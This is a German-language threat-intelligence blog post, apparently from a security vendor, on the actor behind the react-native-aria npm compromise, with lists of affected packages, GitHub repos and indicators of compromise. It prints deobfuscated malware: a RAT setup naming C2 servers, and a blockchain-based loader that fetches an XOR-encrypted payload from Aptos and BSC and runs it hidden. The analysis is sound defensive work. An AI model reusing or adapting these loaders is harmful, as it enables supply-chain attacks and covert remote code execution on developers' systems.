Aikido

Ein tieferer Einblick in den Bedrohungsakteur hinter dem react-native-aria-Angriff

Charlie EriksenCharlie Eriksen
|
#
#

Sie haben vielleicht die jüngste Geschichte über eine Bedrohungsakteursgruppe gesehen, die 16 beliebte Pakete im Zusammenhang mit React Native Aria und GlueStack kompromittiert hat, die wir entdeckt und dokumentiert haben hier. Zuvor hatten wir festgestellt, dass sie das Paket kompromittiert hatten rand-user-agent am 5. Mai 2025, wie berichtet hier

Wir verfolgen diesen Bedrohungsakteur seitdem und haben kleinere Angriffe beobachtet, die wir noch nicht vollständig öffentlich dokumentiert haben. Wir wollten sie jedoch zusammenstellen, um ein umfassenderes Bild ihrer Aktivitäten zu vermitteln. 

Erste bösartige Pakete

Am 8. Mai 2025 hatten unsere Systeme uns bereits auf zwei neue Pakete auf npm aufmerksam gemacht, die bösartig zu sein schienen. Diese sind:

Diese wurden beide vom selben Benutzer hochgeladen, aminengineerings, registriert mit der E-Mail-Adresse aminengineerings@gmail[.]com. Schon ab den ersten Versionen enthielten beide die bösartige Payload, was darauf hindeutet, dass dieses Paket den Bedrohungsakteuren selbst gehört.

Weitere bösartige Pakete

Es wurden auch zwei weitere Pakete vom Angreifer nach dem Angriff auf gluestack veröffentlicht. Die Pakete wurden am 8. Juni 2025 unter den Namen veröffentlicht tailwindcss-animate-expand und mongoose-lit. Diese wurden von einem Benutzer namens veröffentlicht mattfarser. Der Benutzer wurde anschließend schnell gelöscht.

Insbesondere das tailwindcss-animate-expand Paket ist hervorzuheben, da es eine andere Payload-Struktur aufweist. Der erste Teil davon sieht so aus:

global['r']=require;(function(){var Afr='',xzH=906-895;...

Wir sehen die global[‘_V’] Variable gesetzt wird. Wenn wir dies in einer Sandbox ausführen, sehen wir, dass die finale Payload ebenfalls leicht abweicht. Die Payload sieht nach der Deobfuskation so aus:

global._V = 'A4';
(async () => {
  try {
    const c = global.r || require;
    const d = global._V || '0';
    const f = c('os');
    const g = c("path");
    const h = c('fs');
    const i = c('child_process');
    const j = c('crypto');
    const k = f.platform();
    const l = k.startsWith("win");
    const m = f.hostname();
    const n = f.userInfo().username;
    const o = f.type();
    const p = f.release();
    const q = o + " " + p;
    const r = process.execPath;
    const s = process.version;
    const u = new Date().toISOString();
    const v = process.cwd();
    const w = typeof __filename === "undefined" || __filename !== "[eval]";
    const x = typeof __dirname === 'undefined' ? v : __dirname;
    const y = g.join(f.homedir(), ".node_modules");
    if (typeof module === "object") {
      module.paths.push(g.join(y, "node_modules"));
    } else {
      if (global._module) {
        global._module.paths.push(g.join(y, "node_modules"));
      } else {
        if (global.m) {
          global.m.paths.push(g.join(y, 'node_modules'));
        }
      }
    }
    async function z(V, W) {
      return new global.Promise((X, Y) => {
        i.exec(V, W, (Z, a0, a1) => {
          if (Z) {
            Y("Error: " + Z.message);
            return;
          }
          if (a1) {
            Y("Stderr: " + a1);
            return;
          }
          X(a0);
        });
      });
    }
    function A(V) {
      try {
        c.resolve(V);
        return true;
      } catch (W) {
        return false;
      }
    }
    const B = A("axios");
    const C = A("socket.io-client");
    if (!B || !C) {
      try {
        const V = {
          "stdio": "inherit",
          windowsHide: true
        };
        const W = {
          "stdio": "inherit",
          "windowsHide": true
        };
        if (B) {
          await z("npm --prefix \"" + y + "\" install socket.io-client", V);
        } else {
          await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
        }
      } catch (X) {}
    }
    const D = c("axios");
    const E = c("form-data");
    const F = c("socket.io-client");
    let G;
    let H;
    let I = {};
    const J = d.startsWith('A4') ? "http://136.0.9.8:3306" : "http://166.88.4.2:443";
    const K = d.startsWith('A4') ? "http://136.0.9.8:27017" : "http://166.88.4.2:27017";
...

Besonders interessant ist, dass wir sehen, dass die Version A4, auf die im Angriff vom Wochenende als Signal zur Nutzung des neuen C2-Servers verwiesen wurde.

Wir sehen auch, dass der „alte“ C2-Server nicht mehr erwähnt wird. Stattdessen wurde die IP hinzugefügt 166.88.4[.]2.

Warnzeichen

Im Vorfeld dieses Angriffs hatten wir bemerkt, dass einige kleine Pakete kompromittiert wurden. Hier sind die Pakete, die wir bemerkt haben:

Paket Version Veröffentlichungsdatum
@lfwfinance/sdk 1.3.5 3. Juni 2025
@lfwfinance/sdk-dev 2.0.10 3. Juni 2025
algorand-htlc 1.0.2 3. Juni 2025
avm-satoshi-dice 1.0.6 3. Juni 2025
biatec-avm-gas-station 1.1.2 3. Juni 2025
arc200-client 1.0.7 3. Juni 2025
cputil-node 0.6.6 3. Juni 2025

Diese Pakete gehören drei verschiedenen Personen und haben weniger als 100 Downloads pro Woche. Es scheint, dass diese Bedrohungsakteure die Tokens für npm-Konten durchgängig kompromittieren können. 

Kompromittierte GitHub-Repos 

Als wir diese Angriffe weiter untersuchten, entschieden wir uns, andere Ökosysteme auf Beweise zu prüfen, die tiefere Einblicke in die Funktionsweise dieser Bedrohungsakteure geben könnten. Wir konnten 19 Repositories auf GitHub entdecken, die von denselben Bedrohungsakteuren kompromittiert wurden:

Repo Datum Commit
LZeroAnalytics / ethereum-faucet 04. Juni 2025 23ea1dd
LZeroAnalytics / hardhat-vrf-contracts 04. Juni 2025 f325ab6
DogukanGun / TurkClub 23. Mai 2025 84aaa06
khaliduddin / numbers-game 19. Mai 2025 36f20cb
DogukanGun / NexWallet 16. Mai 2025 43193c5
DogukanGun / NexAI 14. Mai 2025 74d5221
revoks / round-feather-1f9f 01. Mai 2025 ca05542
LLM-Red-Team / glm-free-api 28. Apr. 2025 16a0bfc
LLM-Red-Team / deepseek-free-api 08 Apr 2025 37f4c58
DogukanGun / pipeline-templates 02 Apr 2025 699eb16
mobileteamz / Landhsoft-Frontend 29 Mar 2025 e3636c9
UnderGod-dev / portfolio 29 Mar 2025 87f8add
DogukanGun / PopScope 26 Mär 2025 1775087
DogukanGun / NexAgent 23 Mär 2025 7ff7afa
Sid31 / front-buy-free 28 Feb 2025 ce93a20
DogukanGun / supabase 12 Jan 2025 71e169b
LLM-Red-Team / kimi-free-api 17 Dez 2024 2e6397c
LLM-Red-Team / doubao-free-api 13. Dez. 2024 b0ce4e9
LLM-Red-Team / qwen-free-api 13. Dez. 2024 d8046bf

Einige Commits stechen hierbei hervor, ein Beispiel ist:

https://github.com/LZeroAnalytics/hardhat-vrf-contracts/commit/f325ab694ff83e12c96a99a58d51635e70edcdbf

Der Bedrohungsakteur hat die verwendete Payload leicht geändert. In diesem Fall haben sie eine Payload base64-kodiert, die sie an eval() übergeben. Hier ist die dekodierte Payload, versehen mit Kommentaren, die ihre Funktionalität beschreiben.

/*****************************************************************************************
 *  Malware “loader” that hides its real payload on two block-chains.                    *
 *  Flow ⬇️                                                                             *
 *    🥇  Step-1  Read pointer on Aptos                                                 *
 *    🥈  Step-2  Use pointer on Binance Smart Chain (BSC)                              *
 *    🥉  Step-3  Pull out hidden blob                                                 *
 *    🗝️  Step-4  Decode & decrypt                                                    *
 *    🚀  Step-5  Run it silently                                                      *
 *****************************************************************************************/

/* ─────────────────────────────  Bootstrap  ───────────────────────────── */
global['r'] = require;                 // save `require` as global.r (little obfuscation)
(async () => {

  /* quick aliases */
  const c = global;                    // shorthand for `global`
  const i = c['r'];                    // shorthand for `require`

  /* 🛠 Helper 1: GET url → JSON  */
  async function e (url) {
    return new Promise((resolve, reject) => {
      i('https')
        .get(url, res => {
          let body = '';
          res.on('data', chunk => (body += chunk));
          res.on('end', () => {
            try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
          });
        })
        .on('error', reject)
        .end();
    });
  }

  /* 🛠 Helper 2: call BSC JSON-RPC  */
  async function o (method, params = []) {
    return new Promise((resolve, reject) => {
      const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 });
      const opts    = { hostname: 'bsc-dataseed.binance.org', method: 'POST' };

      const req = i('https')
        .request(opts, res => {
          let body = '';
          res.on('data', chunk => (body += chunk));
          res.on('end', () => {
            try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
          });
        })
        .on('error', reject);

      req.write(payload);
      req.end();
    });
  }

  /* ─────────── Core routine that implements 🥇 → 🗝️ steps ─────────── */
  async function t (aptosAccount) {

    /* 🥇  STEP-1  Read pointer on Aptos */
    const latestTx  = await e(
      `https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAccount}/transactions?limit=1`
    );
    const bscHash   = latestTx[0].payload.arguments[0];   // pointer → BSC tx-hash

    /* 🥈  STEP-2  Fetch BSC transaction carrying the payload */
    const bscTx     = await o('eth_getTransactionByHash', [bscHash]);
    const hexBlob   = bscTx.result.input.slice(2);        // drop "0x"

    /* 🥉  STEP-3  Pull out hidden blob (still unreadable) */
    const rawText   = Buffer.from(hexBlob, 'hex').toString('utf8');
    const b64Chunk  = rawText.split('..')[1];             // keep part after ".."

    /* 🗝️  STEP-4  Decode & decrypt */
    const encrypted = atob(b64Chunk);                     // Base-64 → binary string
    const KEY       = '$v$5;kmc$ldm*5SA';
    let  payload    = '';

    for (let j = 0; j < encrypted.length; j++) {
      payload += String.fromCharCode(
        encrypted.charCodeAt(j) ^ KEY.charCodeAt(j % KEY.length)
      );
    }
    return payload;                                      // plain-text JS to execute
  }

  /* 🚀  STEP-5  Run it silently in the background */
  try {
    const script = await t(
      '0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d'
    );

    i('child_process')
      .spawn(
        'node',
        ['-e', `global['_V']='${c['_V'] || 0}';${script}`],
        { detached: true, stdio: 'ignore', windowsHide: true }
      )
      .on('error', () => { /* swallow child errors */ });

  } catch (err) {
    /* stay quiet on any failure */
  }

})();       

Dieser Code ist clever, da er sich teilweise aus den Inhalten zweier verschiedener Blockchains selbst bootet. Hier ist eine Schritt-für-Schritt-Übersicht:

Die Transaktion auf der Binance Smart Chain finden Sie unten. Es ist erwähnenswert, dass Wallet und Vertrag seit dem 7. Februar 2025 existieren: 

https://bscscan.com/tx/0x5b28b2aa49bae766099aab7c74956d17c305079d9d3575256d3a72c310079c37

Wir haben den Code in einer Sandbox ausgeführt und die finale Payload erhalten, und es war dieselbe Payload, die wir bereits zuvor dokumentiert hatten, ohne wesentliche Änderungen. 

Fazit

Wir sehen, dass der Bedrohungsakteur nicht nur npm-Pakete, sondern auch GitHub-Repositories aktiv und konsequent kompromittiert. Darüber hinaus haben sie mit der Bereitstellung eigener Pakete mit ihrem RAT experimentiert. Sie haben auch begonnen, Blockchains als Methode zur Verbreitung ihres bösartigen Codes zu nutzen. 

Indikatoren für Kompromittierung

Pakete

  • solanautil
  • web3-socketio
  • tailwindcss-animate-expand
  • mongoose-lite
  • @lfwfinance/sdk
  • @lfwfinance/sdk-dev
  • algorand-htlc
  • avm-satoshi-dice
  • biatec-avm-gas-station
  • arc200-client
  • cputil-node

IPs

  • 166.88.4[.]2
  • 136.0.9[.]8

Aptos-Konto

  • 0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d

BSC-Adresse

  • 0x9BC1355344B54DEDf3E44296916eD15653844509

BSC-Vertrag

  • 0x8EaC3198dD72f3e07108c4C7CFf43108AD48A71c

4.7/5

Sichern Sie Ihre Software jetzt.

Kostenlos starten
Ohne Kreditkarte
Demo buchen
Ihre Daten werden nicht weitergegeben · Nur Lesezugriff · Keine Kreditkarte erforderlich

Werden Sie jetzt sicher.

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.